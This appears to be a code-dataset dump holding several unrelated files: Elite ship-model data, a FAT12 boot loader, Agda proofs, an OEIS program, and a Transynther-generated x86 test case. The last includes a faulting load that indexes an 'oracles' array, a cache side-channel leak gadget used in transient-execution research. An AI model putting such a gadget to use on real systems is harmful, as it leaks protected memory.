max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
Data/ships/TransportType10.asm
TinfoilAsteroid/EliteNext
9
90313
<filename>Data/ships/TransportType10.asm TransportType10: DB $00 DW $09C4 DW TransportType10Edges DB TransportType10EdgesSize DB $30, $1A DB TransportType10VertSize /6 DB TransportType10VertSize DB TransportType10EdgesCnt DB $00, $00 DB TransportType10NormalsSize DB $10, $20, $0A DW TransportType10Normals DB $02, $00 DW TransportType10Vertices DB 0,0 ; Type and Tactics DB 0 TransportType10Vertices:DB $00, $0A, $1A, $3F, $06, $77 ;01 DB $19, $04, $1A, $BF, $01, $77 ;02 DB $1C, $03, $1A, $FF, $01, $22 ;03 DB $19, $08, $1A, $FF, $02, $33 ;04 DB $1A, $08, $1A, $7F, $03, $44 ;05 DB $1D, $03, $1A, $7F, $04, $55 ;06 DB $1A, $04, $1A, $3F, $05, $66 ;07 DB $00, $06, $0C, $13, $FF, $FF ;08 DB $1E, $01, $0C, $DF, $17, $89 ;09 DB $21, $08, $0C, $DF, $12, $39 ;10 DB $21, $08, $0C, $5F, $34, $5A ;11 DB $1E, $01, $0C, $5F, $56, $AB ;12 DB $0B, $02, $1E, $DF, $89, $CD ;13 DB $0D, $08, $1E, $DF, $39, $DD ;14 DB $0E, $08, $1E, $5F, $3A, $DD ;15 DB $0B, $02, $1E, $5F, $AB, $CD ;16 DB $05, $06, $02, $87, $77, $77 ;17 DB $12, $03, $02, $87, $77, $77 ;18 DB $05, $07, $07, $A7, $77, $77 ;19 DB $12, $04, $07, $A7, $77, $77 ;20 DB $0B, $06, $0E, $A7, $77, $77 ;21 DB $0B, $05, $07, $A7, $77, $77 ;22 DB $05, $07, $0E, $27, $66, $66 ;23 DB $12, $04, $0E, $27, $66, $66 ;24 DB $0B, $05, $07, $27, $66, $66 ;25 DB $05, $06, $03, $27, $66, $66 ;26 DB $12, $03, $03, $27, $66, $66 ;27 DB $0B, $04, $08, $07, $66, $66 ;28 DB $0B, $05, $03, $27, $66, $66 ;29 DB $10, $08, $0D, $E6, $33, $33 ;30 DB $10, $08, $10, $C6, $33, $33 ;31 DB $11, $08, $0D, $66, $33, $33 ;32 DB $11, $08, $10, $46, $33, $33 ;33 DB $0D, $03, $1A, $E8, $00, $00 ;34 DB $0D, $03, $1A, $68, $00, $00 ;35 DB $09, $03, $1A, $25, $00, $00 ;36 DB $08, $03, $1A, $A5, $00, $00 ;37 TransportType10VertSize: equ $ - TransportType10Vertices TransportType10Edges: DB $1F, $07, $00, $04 ;01 DB $1F, $01, $04, $08 ;02 DB $1F, $02, $08, $0C ;03 DB $1F, $03, $0C, $10 ;04 DB $1F, $04, $10, $14 ;05 DB $1F, $05, $14, $18 ;06 DB $1F, $06, $00, $18 ;07 DB $10, $67, $00, $1C ;08 DB $1F, $17, $04, $20 ;09 DB $0B, $12, $08, $24 ;10 DB $1F, $23, $0C, $24 ;11 DB $1F, $34, $10, $28 ;12 DB $0B, $45, $14, $28 ;13 DB $1F, $56, $18, $2C ;14 DB $11, $78, $1C, $20 ;15 DB $11, $19, $20, $24 ;16 DB $11, $5A, $28, $2C ;17 DB $11, $6B, $1C, $2C ;18 DB $13, $BC, $1C, $3C ;19 DB $13, $8C, $1C, $30 ;20 DB $10, $89, $20, $30 ;21 DB $1F, $39, $24, $34 ;22 DB $1F, $3A, $28, $38 ;23 DB $10, $AB, $2C, $3C ;24 DB $1F, $9D, $30, $34 ;25 DB $1F, $3D, $34, $38 ;26 DB $1F, $AD, $38, $3C ;27 DB $1F, $CD, $30, $3C ;28 DB $07, $77, $40, $44 ;29 DB $07, $77, $48, $4C ;30 DB $07, $77, $4C, $50 ;31 DB $07, $77, $48, $50 ;32 DB $07, $77, $50, $54 ;33 DB $07, $66, $58, $5C ;34 DB $07, $66, $5C, $60 ;35 DB $07, $66, $60, $58 ;36 DB $07, $66, $64, $68 ;37 DB $07, $66, $68, $6C ;38 DB $07, $66, $64, $6C ;39 DB $07, $66, $6C, $70 ;40 DB $06, $33, $74, $78 ;41 DB $06, $33, $7C, $80 ;42 DB $08, $00, $84, $88 ;43 DB $05, $00, $88, $8C ;44 DB $05, $00, $8C, $90 ;45 DB $05, $00, $90, $84 ;46 TransportType10EdgesSize: equ $ - TransportType10Edges TransportType10EdgesCnt: equ TransportType10EdgesSize/4 TransportType10Normals: DB $3F, $00, $00, $67 ;01 DB $BF, $6F, $30, $07 ;02 DB $FF, $69, $3F, $15 ;03 DB $5F, $00, $22, $00 ;04 DB $7F, $69, $3F, $15 ;05 DB $3F, $6F, $30, $07 ;06 DB $1F, $08, $20, $03 ;07 DB $9F, $08, $20, $03 ;08 DB $93, $08, $22, $0B ;09 DB $9F, $4B, $20, $4F ;10 DB $1F, $4B, $20, $4F ;11 DB $13, $08, $22, $0B ;12 DB $1F, $00, $26, $11 ;13 DB $1F, $00, $00, $79 ;14 TransportType10NormalsSize: equ $ - TransportType10Normals TransportType10Len: equ $ - TransportType10
Frimfaxi/Frimfaxi_1/src/boot.asm
Ta-rai-san/FrimfaxiProject
0
80256
;------------------------------------------------------------------------------- ;Name : Boot Loader ;Author : Taraisan ;Description : first loading ;------------------------------------------------------------------------------- [BITS 16] ORG 0x7C00 ;================================================================================== ; BIOS parameter blocks(FAT12) ;================================================================================== JMP BOOT ;BS_jmpBoot BS_jmpBoot2 DB 0x90 BS_OEMName DB "Frmfxi " BPB_BytsPerSec DW 0x0200 ;BytesPerSector BPB_SecPerClus DB 0x01 ;SectorPerCluster BPB_RsvdSecCnt DW 0x0001 ;ReservedSectors BPB_NumFATs DB 0x02 ;TotalFATs BPB_RootEntCnt DW 0x00E0 ;MaxRootEntries BPB_TotSec16 DW 0x0B40 ;TotalSectors BPB_Media DB 0xF0 ;MediaDescriptor BPB_FATSz16 DW 0x0009 ;SectorsPerFAT BPB_SecPerTrk DW 0x0012 ;SectorsPerTrack BPB_NumHeads DW 0x0002 ;NumHeads BPB_HiddSec DD 0x00000000 ;HiddenSector BPB_TotSec32 DD 0x00000000 ;TotalSectors BS_DrvNum DB 0x00 ;DriveNumber BS_Reserved1 DB 0x00 ;Reserved BS_BootSig DB 0x29 ;BootSignature BS_VolID DD 0x20202020 ;VolumeSerialNumber 日付を入れました BS_VolLab DB "MyOS " ;VolumeLabel BS_FilSysType DB "FAT12 " ;FileSystemType %include "Print.inc" BOOT: ImageName DB "Frimfaxi 1.0", 0x00 MOV SI, ImageName CALL DisplayMessage PUSH WORD [ES_IMAGE_ADDR] PUSH WORD 0x0000 RETF HLT ES_IMAGE_ADDR DW 0x0050 TIMES 510 - ($ - $$) DB 0 DW 0xAA55
test/hPropInvestigations.agda
mchristianl/synthetic-reals
3
8780
<reponame>mchristianl/synthetic-reals {-# OPTIONS --cubical --no-import-sorts #-} module hPropInvestigations where open import Agda.Primitive renaming (_⊔_ to ℓ-max; lsuc to ℓ-suc; lzero to ℓ-zero) private variable ℓ ℓ' ℓ'' : Level open import Cubical.Foundations.Everything renaming (_⁻¹ to _⁻¹ᵖ; assoc to ∙-assoc) open import Cubical.Data.Sigma.Base renaming (_×_ to infixr 4 _×_) open import Cubical.Foundations.Prelude open import Function.Base using (_∋_) open import Cubical.Foundations.Logic open import Cubical.HITs.PropositionalTruncation open import Cubical.Data.Empty renaming (elim to ⊥-elim) renaming (⊥ to ⊥⊥) -- `⊥` and `elim` import Cubical.Data.Empty as Empty open import Cubical.Data.Unit.Base import Cubical.Structures.Axioms -- NOTE: -- we have both: -- the "classic" bundle/unbundle record-based definition of a CommRing from `Cubical.Structures.CommRing` -- -- record IsCommRing {R : Type ℓ} (0r 1r : R) (_+_ _·_ : R → R → R) (-_ : R → R) : Type ℓ where -- field -- isRing : IsRing 0r 1r _+_ _·_ -_ -- ·-comm : (x y : R) → x · y ≡ y · x -- record CommRing : Type (ℓ-suc ℓ) where -- field -- Carrier : Type ℓ -- 0r : Carrier -- 1r : Carrier -- _+_ : Carrier → Carrier → Carrier -- _·_ : Carrier → Carrier → Carrier -- -_ : Carrier → Carrier -- isCommRing : IsCommRing 0r 1r _+_ _·_ -_ -- -- and a CommRingΣTheory -- -- CommRingAxioms R (_+_ , 1r , _·_) = RingAxioms R (_+_ , 1r , _·_) × ((x y : R) → x · y ≡ y · x) -- CommRingStructure = AxiomsStructure RawRingStructure CommRingAxioms -- CommRingΣ = TypeWithStr ℓ CommRingStructure -- CommRingEquivStr : StrEquiv CommRingStructure ℓ -- CommRingEquivStr = AxiomsEquivStr RawRingEquivStr CommRingAxioms -- -- especially when we look at -- -- CommRingEquivStr = AxiomsEquivStr RawRingEquivStr CommRingAxioms -- -- here `AxiomsEquivStr` from `Cubical.Structures.Axioms` -- -- AxiomsEquivStr : {S : Type ℓ → Type ℓ₁} (ι : StrEquiv S ℓ₁') (axioms : (X : Type ℓ) → S X → Type ℓ₂) -- → StrEquiv (AxiomsStructure S axioms) ℓ₁' -- AxiomsEquivStr ι axioms (X , (s , a)) (Y , (t , b)) e = ι (X , s) (Y , t) e -- -- takes the two arguments `RawRingEquivStr` and `CommRingAxioms` -- -- RawRingEquivStr = AutoEquivStr RawRingStructure -- -- CommRingAxioms : (R : Type ℓ) (s : RawRingStructure R) → Type ℓ -- CommRingAxioms R (_+_ , 1r , _·_) = RingAxioms R (_+_ , 1r , _·_) × ((x y : R) → x · y ≡ y · x) -- -- where `AutoEquivStr` is a macro from `Cubical.Structures.Auto` -- -- -- (S : Type ℓ → Type ℓ₁) → StrEquiv (AutoStructure S) _ -- AutoEquivStr : R.Term → R.Term → R.TC Unit -- AutoEquivStr t hole = -- newMeta (tDesc R.unknown) >>= λ d → -- R.unify hole (R.def (quote MacroEquivStr) [ varg d ]) >> -- autoDesc' t d import Cubical.Structures.CommRing open import Cubical.Data.Sigma.Properties import Cubical.Foundations.Transport import Cubical.Foundations.Path ¬[P⊓¬P] : ∀(P : hProp ℓ) → [ ¬(P ⊓ ¬ P) ] ¬[P⊓¬P] _ (p , q) = q p lemma-comm : ∀(P : hProp ℓ) → P ⊓ ¬ P ≡ ¬ P ⊓ P lemma-comm P = ⊓-comm P (¬ P) lemma-comm-elm-forward : ∀(P : hProp ℓ) → [ P ⊓ ¬ P ] → [ ¬ P ⊓ P ] lemma-comm-elm-forward P (p , ¬p) = (¬p , p) lemma-comm-elm-back : ∀(P : hProp ℓ) → [ ¬ P ⊓ P ] → [ P ⊓ ¬ P ] lemma-comm-elm-back P (¬p , p) = (p , ¬p) comm-elm-iso : ∀(P : hProp ℓ) → Iso [ P ⊓ ¬ P ] [ ¬ P ⊓ P ] comm-elm-iso P = λ where .Iso.fun → lemma-comm-elm-forward P .Iso.inv → lemma-comm-elm-back P .Iso.rightInv _ → refl .Iso.leftInv _ → refl -- let A = fst P -- [ P ⊓ ¬ P ] : A × (A → ⊥) -- [ ¬ P ⊓ P ] : (A → ⊥) × A -- we have `P ⊓ ¬ P ≡ ¬ P ⊓ P` -- and we have ≡ for the witness-type `[ P ⊓ ¬ P ] ≡ [ ¬ P ⊓ P ]` -- because `A × (A → ⊥) ≢ (A → ⊥) × A` lemma-Σ-swap-≡ : ∀(A B : Type ℓ) → (A × B) ≡ (B × A) lemma-Σ-swap-≡ A B = isoToPath (Σ-swap-Iso {A = A} {A' = B}) lemma-comm-elm' : ∀(P : hProp ℓ) → [ P ⊓ ¬ P ] ≡ [ ¬ P ⊓ P ] lemma-comm-elm' P = lemma-Σ-swap-≡ _ _ lemma-comm-elm : ∀(P : hProp ℓ) → [ P ⊓ ¬ P ] ≡ [ ¬ P ⊓ P ] lemma-comm-elm P = isoToPath (comm-elm-iso P) -- see `2.8 Classical principles` in Booij's thesis weak-LEM' : ∀(P : hProp ℓ) → [ (¬ ¬ P) ⊔ (¬ P) ] weak-LEM' {ℓ = ℓ} P = {! (¬[P⊓¬P] P) ∘ pathTo⇒ (⊓-comm (¬ P) P) !} -- (⊓-comm P (¬ P)) ∘ (¬[P⊓¬P] P) where γ : P ⊓ ¬ P ≡ ¬ P ⊓ P -- γ : PathP (λ i → ?) γ = ⊓-comm P (¬ P) κ : [ P ⊓ ¬ P ⇒ ¬ P ⊓ P ] -- κ : [ P ⊓ ¬ P ] → [ ¬ P ⊓ P ] -- is the same ! κ = pathTo⇒ γ η : [ P ⊓ ¬ P ] → [ ¬ P ⊓ P ] η p = κ p φ : [ ¬ (¬ P ⊓ P) ] -- and from here we would need deMorgan₁ to obtain the goal which is not provable without further assumptions φ = (¬[P⊓¬P] P) ∘ pathTo⇒ (⊓-comm (¬ P) P) -- (p , q) = Iso.inv ΣPathIsoPathΣ γ pq : Σ[ p ∈ fst (P ⊓ ¬ P) ≡ fst (¬ P ⊓ P) ] PathP (λ i → isProp (p i)) (snd (P ⊓ ¬ P)) (snd (¬ P ⊓ P)) pq = Iso.inv ΣPathIsoPathΣ γ p : fst (P ⊓ ¬ P) ≡ fst (¬ P ⊓ P) p = fst pq q : PathP (λ i → isProp (fst pq i)) (snd (P ⊓ ¬ P)) (snd (¬ P ⊓ P)) q = snd pq k = transport {ℓ = ℓ} {A = isProp (fst (P ⊓ ¬ P))} {B = isProp (fst (¬ P ⊓ P))} {! κ !} l = {! Σ[ A ∈ Type ℓ ] isProp A!} -- ⊓-comm P (¬ P) : P ⊓ ¬ P ≡ ¬ P ⊓ P -- [ ¬ ¬ P ⊔ ¬ P ] -- [ ¬ (¬ P ⊓ P) ] -- hProp ℓ = Σ[ A ∈ Type ℓ ] (∀(x y : A) → x ≡ y) -- = Σ[ A ∈ Type ℓ ] isProp A -- HOTT: Definition 3.3.1. A type P is a mere proposition if for all x, y : P we have x = y. -- NOTE: so `isMere P = isProp P` -- _≡_ : ∀ {ℓ} {A : Set ℓ} → A → A → Set ℓ -- _≡_ {A = A} = PathP (λ i → A) -- transport : {A B : Type ℓ} → A ≡ B → A → B -- transport p a = transp (λ i → p i) i0 a -- pathTo⇒ : P ≡ Q → [ P ⇒ Q ] -- PathP is dependent path type (builtin) -- Path is non-dependent path type -- PathP : ∀ {ℓ} (A : I → Set ℓ) → A i0 → A i1 → Set ℓ -- Path : ∀ {ℓ} (A : Type ℓ) → A → A → Type ℓ -- Path A a b = PathP (λ _ → A) a b -- Direct definitions of lower h-levels -- isContr A = Σ[ x ∈ A ] (∀ y → x ≡ y) -- isProp A = (x y : A) → x ≡ y -- isSet A = (x y : A) → isProp (x ≡ y) -- -- an element of hProp states what the proposition is - the element is the proposition -- an element of [ hProp ] states that the proposition holds - the element is the proof -- pathes such as `P ⊓ ¬ P ≡ ¬ P ⊓ P` just state that the propositions are the same -- we cannot use `transport` on `P ⊓ ¬ P ≡ ¬ P ⊓ P` -- `⇔toPath` can be used to get equality of the propositions from forward and backward implication based on the witnesses -- ⇔toPath : [ P ⇒ Q ] → [ Q ⇒ P ] → P ≡ Q -- similar with `hProp≡` -- hProp≡ : [ P ] ≡ [ Q ] → P ≡ Q -- there is `pathTo⇒` and `pathTo⇐` to create witness-based implications -- pathTo⇒ : P ≡ Q → [ P ⇒ Q ] -- pathTo⇐ : P ≡ Q → [ Q ⇒ P ] -- here, we have that `[ P ⇒ Q ]` is definitionally equivalent to `[ P ] → [ Q ]` -- because `[ P ] → [ Q ]` is the first element of the tuple `P ⇒ Q` which gets projected out with `[_]` -- A ⇒ B = ([ A ] → [ B ]) , isPropΠ λ _ → isProp[] B -- we can use `isoToPath` to create a path `[ P ] ≡ [ Q ]` but only when we are able to formulate an isomorphism -- so `[ P ] ≡ [ Q ]` is what we can transport the witnesses along -- isoToPath : Iso A B → A ≡ B -- isoToEquiv : Iso A B → A ≃ B -- with -- A ≃ B = Σ[ f ∈ A → B ] isEquiv f -- where `isEquiv` is basically -- isEquiv = (f : A → B) → ∀(y : B) → isContr (fiber f y) -- but it seems to be a very strong property of two ≡-equal propositions to have their elements being ≡-equal too -- is it? Or can we always find an isomorphism `Iso [ P ] [ Q ]` for every path `P ≡ Q`? I guess not -- ∥¬A∥≡¬∥A∥ _ = hProp≡ _ = transport _ = ∥ {!!} ∥ _ = _≡_ _ = Path -- Propositions -- -- Definition 2.4.1. A proposition is a type P all whose elements are identical, which is expressed type-theoretically as -- -- isHProp(P) := (Π p, q : P) (p =ₚ q). -- -- We have the type -- -- HProp := (Σ P : U) isHProp(P) -- -- of all propositions, and we identify elements of HProp with their underlying type, that is, their first projection. -- The letter ‘H’ stands for homotopy, which we briefly touch on in Section 2.5.4. -- -- checkout p.31 ff of Booij's thesis -- -- Definition 2.4.5. Univalent logic is defined by the following, where P, Q : HProp and R : X → HProp [91, Definition 3.7.1]: -- -- ⊤ := 1 -- ⊥ := 0 -- P ∧ Q := P × Q -- P ⇒ Q := P → Q -- P ⇔ Q := P = Q -- ¬P := P → 0 -- P ∨ Q := ∥ P + Q ∥ -- (∀ x : X) R(x) := (Π x : X) R(x) -- (∃ x : X) R(x) := ∥ (Σ x : X) R(x) ∥ -- -- NOTE: the important sentence is "we identify elements of HProp with ... their first projection" -- therefore Agda's first projection `[_]` is not present in Booij's writing (it's implicit) import Cubical.Functions.Embedding -- Embeddings are generalizations of injections. The usual -- definition of injection as: -- -- f x ≡ f y → x ≡ y -- -- is not well-behaved with higher h-levels, while embeddings -- are. -- -- isEmbedding : (A → B) → Type _ -- isEmbedding f = ∀ w x → isEquiv {A = w ≡ x} (cong f) -- injEmbedding -- : {f : A → B} -- → isSet A → isSet B -- → (∀{w x} → f w ≡ f x → w ≡ x) -- → isEmbedding f
Sort.agda
amal029/agda-tutorial-dybjer
1
7835
module Sort where open import Sec4 import Sec2 postulate _≤_ : {A : Set} → A → A → Prop postulate tot-list : {A : Set} → (a b : A) → (a ≤ b) ∨ (b ≤ a) postulate trans-list : {A : Set} → (a b c : A) → (a ≤ b) → (b ≤ c) → (a ≤ c) -- XXX: Definition of a list data List (A : Set) : Set where Nil : List A _∷_ : A → List A → List A -- XXX: definition of an ordered list all-ordered-list : {A : Set} → (a : A) → (l : List A) → Prop all-ordered-list a Nil = ⊤ all-ordered-list a (x ∷ l) = (a ≤ x) ∧ all-ordered-list a l ordered-list : {A : Set} → List A → Prop ordered-list Nil = ⊤ ordered-list (x ∷ l) = all-ordered-list x l ∧ (ordered-list l) -- XXX: Inserting elements in the list insert-list : {A : Set} → (a : A) → (l : List A) → List A insert-list a Nil = a ∷ Nil insert-list a (x ∷ l) with (tot-list a x) insert-list a (x ∷ l) | ora h = a ∷ (x ∷ l) insert-list a (x ∷ l) | orb h = x ∷ (insert-list a l) lem1 : {A : Set} → (a x : A) → (l : List A) → (p : all-ordered-list x l) → (p1 : a ≤ x) → (all-ordered-list a l) lem1 a x Nil p p1 = ⋆ lem1 a x (x₁ ∷ l) (and x₂ x₃) p1 = and (trans-list a x x₁ p1 x₂) (lem1 a x l x₃ p1) lem2 : {A : Set} → (x a : A) → (l : List A) → (h : x ≤ a) → (p1 : all-ordered-list x l) → (p2 : ordered-list l) → (v : ordered-list (insert-list a l)) → all-ordered-list x (insert-list a l) lem2 x a Nil h p1 p3 v = and h ⋆ lem2 x a (x₁ ∷ l) h p1 p3 v with (tot-list a x₁) lem2 x₂ a (x₁ ∷ l) h p1 p3 v | ora x = and h p1 lem2 x₂ a (x₁ ∷ l) h (and x₃ x₄) (and x₅ x₆) (and x₇ x₈) | orb x = and x₃ (lem2 x₂ a l h x₄ x₆ x₈) thm2 : {A : Set} → ∀ (a : A) → ∀ (l : List A) → (p : ordered-list l) → (ordered-list (insert-list a l)) thm2 a Nil p = and ⋆ ⋆ thm2 a (x ∷ l) p with (tot-list a x) thm2 a (x ∷ l) (and x₁ x₂) | ora h = and (and h (lem1 a x l x₁ h)) (and x₁ x₂) thm2 a (x ∷ l) (and x₁ x₂) | orb h = let v = (thm2 a l x₂) in and (lem2 x a l h x₁ x₂ v) v -- XXX: append lists _++_ : {A : Set} → (l : List A) → (m : List A) → List A Nil ++ m = m (x ∷ l) ++ m = x ∷ (l ++ m) -- XXX: Length of a list length : {A : Set} → (l : List A) → Sec2.ℕ length Nil = Sec2.Z length (x ∷ l) = Sec2.S (length l) -- XXX: reverse of a list rev : {A : Set} → (List A) → (List A) rev Nil = Nil rev (x ∷ l) = (rev l) ++ (x ∷ Nil) -- XXX: Theorem on length of lists thm : {A : Set} → (l : List A) → (m : List A) → ((length l) Sec2.+ (length m) Sec2.≡ length (l ++ m)) thm Nil m = Sec2.refl thm (x ∷ l) m = let xx = thm l m in Sec2.cong xx cong : {A : Set} → (x : A) → (l m : List A) → (l Sec2.≡ m) → (x ∷ l) Sec2.≡ (x ∷ m) cong x l .l Sec2.refl = Sec2.refl cong2 : {A : Set} → (l m q : List A) → (l Sec2.≡ m) → (l ++ q) Sec2.≡ (m ++ q) cong2 l .l q Sec2.refl = Sec2.refl ++-lem : {A : Set} → (l : List A) → ((l ++ Nil) Sec2.≡ l) ++-lem Nil = Sec2.refl ++-lem (x ∷ l) = cong x (l ++ Nil) l (++-lem l) assoc : {A : Set} → (l m q : List A) → l ++ (m ++ q) Sec2.≡ (l ++ m) ++ q assoc Nil m q = Sec2.refl assoc (x ∷ l) m q = cong x (l ++ (m ++ q)) ((l ++ m) ++ q) (assoc l m q) rev-lem : {A : Set} → ∀ (l m : List A) → rev (l ++ m) Sec2.≡ (rev m) ++ (rev l) rev-lem Nil m rewrite ++-lem (rev m) = Sec2.refl rev-lem (x ∷ l) m rewrite assoc (rev m) (rev l) (x ∷ Nil) = let p = rev-lem l m in cong2 (rev (l ++ m)) (rev m ++ rev l) (x ∷ Nil) p -- XXX: Involution of reversal of lists rev-involute : {A : Set} → (l : List A) → l Sec2.≡ (rev (rev l)) rev-involute Nil = Sec2.refl rev-involute (x ∷ l) rewrite rev-lem (rev l) (x ∷ Nil) = cong x l (rev (rev l)) (rev-involute l)
programs/oeis/132/A132433.asm
karttu/loda
1
83352
<reponame>karttu/loda ; A132433: a(1) = 2; for n>=2, a(n) = 8*a(n-1) + 1. ; 2,17,137,1097,8777,70217,561737,4493897,35951177,287609417,2300875337,18407002697,147256021577,1178048172617,9424385380937,75395083047497,603160664379977,4825285315039817 mov $1,8 pow $1,$0 div $1,7 mul $1,15 add $1,2
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_21829_1100.asm
ljhsiun2/medusa
9
162190
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0x33e5, %rsi lea addresses_normal_ht+0xdd73, %rdi sub $51600, %rax mov $41, %rcx rep movsq nop nop xor $24103, %r12 lea addresses_WT_ht+0x1ddd7, %r13 nop nop nop nop and $30421, %r11 mov $0x6162636465666768, %rdi movq %rdi, %xmm5 and $0xffffffffffffffc0, %r13 vmovaps %ymm5, (%r13) cmp %r12, %r12 lea addresses_WT_ht+0x358d, %rsi lea addresses_UC_ht+0x48c3, %rdi nop nop cmp %r8, %r8 mov $45, %rcx rep movsb nop nop nop nop nop xor $29988, %r13 lea addresses_A_ht+0x7373, %rax nop nop nop nop nop xor $25736, %rcx mov (%rax), %rdi nop nop sub $55159, %rcx lea addresses_WT_ht+0x9873, %rax nop nop and $63089, %rsi vmovups (%rax), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r11 add %r12, %r12 lea addresses_WC_ht+0x31f3, %rsi lea addresses_A_ht+0x2f3, %rdi nop xor $61689, %r8 mov $34, %rcx rep movsl inc %r8 lea addresses_D_ht+0x1ab13, %r13 nop nop nop nop nop inc %rcx mov (%r13), %rdi nop nop nop nop nop add $13106, %r13 lea addresses_normal_ht+0x1e2f3, %rsi lea addresses_UC_ht+0x1008d, %rdi nop and %r13, %r13 mov $110, %rcx rep movsq nop nop nop nop mfence lea addresses_WC_ht+0xf6f3, %r11 inc %rsi vmovups (%r11), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r12 cmp %r11, %r11 lea addresses_normal_ht+0x1cff3, %r12 clflush (%r12) nop nop nop nop cmp %r11, %r11 mov $0x6162636465666768, %r8 movq %r8, %xmm0 movups %xmm0, (%r12) add %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rax push %rbx push %rdi // Store lea addresses_WT+0x1c797, %rax nop nop cmp %r14, %r14 movl $0x51525354, (%rax) nop nop inc %r14 // Store lea addresses_WC+0x2f3, %r13 nop nop nop nop inc %r12 movb $0x51, (%r13) cmp %rbx, %rbx // Store mov $0x671d0300000002f3, %r12 and $35139, %r13 mov $0x5152535455565758, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%r12) nop nop cmp $28315, %rbx // Faulty Load mov $0x72a1520000000af3, %rdi nop nop nop nop xor %rax, %rax mov (%rdi), %r15 lea oracles, %r13 and $0xff, %r15 shlq $12, %r15 mov (%r13,%r15,1), %r15 pop %rdi pop %rbx pop %rax pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 